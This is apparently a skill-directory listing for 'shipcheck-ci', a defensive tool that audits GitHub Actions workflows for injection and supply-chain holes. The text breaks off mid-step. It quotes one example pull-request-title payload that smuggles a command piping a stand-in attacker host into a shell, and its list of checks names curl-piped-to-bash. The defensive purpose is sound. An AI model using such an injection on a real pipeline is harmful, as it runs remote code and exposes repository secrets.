← ClaudeAtlas

shipcheck-cilisted

Audits GitHub Actions workflows for supply-chain and injection holes (actions not pinned to a commit SHA, pull_request_target that checks out the PR head, missing or write-all permissions, script injection through github.event values, secrets echoed or put on a command line, curl piped to bash, self-hosted runners on fork triggers, missing timeouts, caches and concurrency) and hardens them, explaining the attack each finding enables. Use when the user says "audit my GitHub Actions", "is my workflow secure", "pin my actions", "harden my CI", "review my workflow YAML", or "why is my pipeline slow".
vivekbhange-hub/ship-check-skill · ★ 0 · DevOps & Infrastructure · score 75
Install: claude install-skill vivekbhange-hub/ship-check-skill
# shipcheck-ci: harden the pipeline that holds your secrets A workflow runs code with your repository's secrets and a write token. The fixes are small; the point is to explain which attack each one stops, so the user keeps them when copying workflows later. ## Inputs - A project folder (default `.`, reads `.github/workflows/*.yml|yaml`) or a workflow file. - Commands below say `python3`; on Windows use `python` (or `py -3`). - Permission to edit the workflow files. Do not push or trigger runs unless asked. ## Outputs - Findings CI000 to CI011 with severity, line, the attack (`--explain`) and a fix. - Edited workflows, and a list of the actions that still need a SHA from the user. - A note for any file the parser skipped. ## Steps 1. **Audit with the attack explained.** ``` python3 "${CLAUDE_SKILL_DIR}/ci_audit.py" . --explain --fail-on never ``` The YAML parser is a hand-written subset (no anchors, aliases, tags, merge keys or multi-line scalars). A file it cannot read is reported as CI000 and was not audited: say so, and review that file by hand rather than assuming it is clean. 2. **Explain each finding in one sentence, as an attack**, using the `why` text and the user's own line: "line 24 pastes the pull request title into the shell, so a title like `x"; curl evil.example | sh; "` runs on your runner with your secrets". 3. **Fix in this order** (highest risk first): - CI002 and CI010: never check out or run PR head code under `pull_reque